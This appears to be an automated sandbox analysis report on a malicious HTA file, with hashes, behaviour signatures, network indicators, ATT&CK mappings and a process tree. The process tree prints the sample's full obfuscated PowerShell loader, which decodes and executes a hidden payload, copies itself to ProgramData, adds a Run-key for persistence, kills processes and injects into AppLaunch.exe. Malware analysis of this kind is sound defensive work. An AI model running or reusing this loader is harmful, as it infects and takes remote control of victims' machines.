Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/10/2026, 17:51
Static task
static1
Behavioral task
behavioral1
Sample
Aviso_Prejudicial_9542844379977776656524975986354765865.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Aviso_Prejudicial_9542844379977776656524975986354765865.hta
Resource
win11ltsc2024-20260911-en
General
- Target Aviso_Prejudicial_9542844379977776656524975986354765865.hta
- Size 27KB
- Sample261007-we853as15r
- SHA256 5be57773b48d8cf48460fe5757b05ded76444c7cbad0b5f2c1e3e8ba01884fe5
- MD5 290bc4d3541725d4ec9b000b57c955ed
- SHA1 e160274bc3762e883cc3d255c84197a9f89560e0
- SHA512 3725a15f7c65295066fbfac53f29354f125da9545a55a3caca20815e5e134ead2acf89ec49a50b2ef82de1995530d00cbcae355b961bdd0a7d580a54d1e03aef
- SSDEEP 192:zz94CiRMbYm2Ri35R/ZebXNQcA6wDeJrqUW4nKaAWcUaw1FYyJwLcQ6jY1jfBK+i:24fADNJA6Vq2cU11FYyPQJ1jfQ+i
- TLSH T156C26EBA1403905F693921EF474333544A8A0CE17D5728BC9BABD2DA19BCCC7664C7AE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 1284 powershell.exe 3 1284 powershell.exe 4 1284 powershell.exe 5 1284 powershell.exe 6 1284 powershell.exe -
pid Process 1284 powershell.exe 2108 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\ASAoaSdkng = "\"C:\\ProgramData\\WinLog.hta\"" powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 2 raw.githubusercontent.com 2 pastebin.com 4 raw.githubusercontent.com 6 raw.githubusercontent.com 7 pastebin.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1284 set thread context of 1288 1284 powershell.exe 101 - Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 AppLaunch.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4468 cmd.exe 1120 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AppLaunch.exe - Kills process with taskkill 3 IoCs
pid Process 3744 taskkill.exe 3252 taskkill.exe 3764 taskkill.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1284 powershell.exe 1284 powershell.exe 1284 powershell.exe 2108 powershell.exe 2108 powershell.exe 2108 powershell.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1284 powershell.exe Token: SeDebugPrivilege 2108 powershell.exe Token: SeDebugPrivilege 3744 taskkill.exe Token: SeDebugPrivilege 3252 taskkill.exe Token: SeDebugPrivilege 3764 taskkill.exe Token: SeDebugPrivilege 1288 AppLaunch.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4896 wrote to memory of 4468 4896 mshta.exe 89 PID 4468 wrote to memory of 1284 4468 cmd.exe 91 PID 1284 wrote to memory of 2108 1284 powershell.exe 92 PID 2108 wrote to memory of 1120 2108 powershell.exe 95 PID 1120 wrote to memory of 3744 1120 cmd.exe 97 PID 1120 wrote to memory of 3252 1120 cmd.exe 99 PID 1120 wrote to memory of 3764 1120 cmd.exe 100 PID 1284 wrote to memory of 1288 1284 powershell.exe 101 PID 1284 wrote to memory of 1288 1284 powershell.exe 101 PID 1284 wrote to memory of 1288 1284 powershell.exe 101 PID 1284 wrote to memory of 1288 1284 powershell.exe 101 PID 1284 wrote to memory of 1288 1284 powershell.exe 101
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\system32\taskkill.exetaskkill /IM RegAsm.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3744
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C:\Windows\system32\taskkill.exetaskkill /IM Vbc.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3252
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C:\Windows\system32\taskkill.exetaskkill /IM MsBuild.exe /F6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3764
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Enumerates video capture drivers
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5212
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 74417317d648326ae9062e1c9b1a626ccdf11e17751e4a8951eb0d1295d22de9
- MD5 14d93b70a5f7f43fdd3209c59128e4c0
- SHA1 c97ba90b2ed921e2689140c86c03594e66d1dc0a
- SHA512 c51fe130acb8e9346d4453a3659c4a3895645f48b5e69f7bfcdfa08c4c822358020d513795cdd5246796d1f1eadca221b486d8b1b7e9a9984eeb010c3fc7e3b6
- TLSH T11C216A37F3DC8615DC8A403A10CDEC1476B687D740DECFABBB84D554A42F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbds34pt.dxw.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH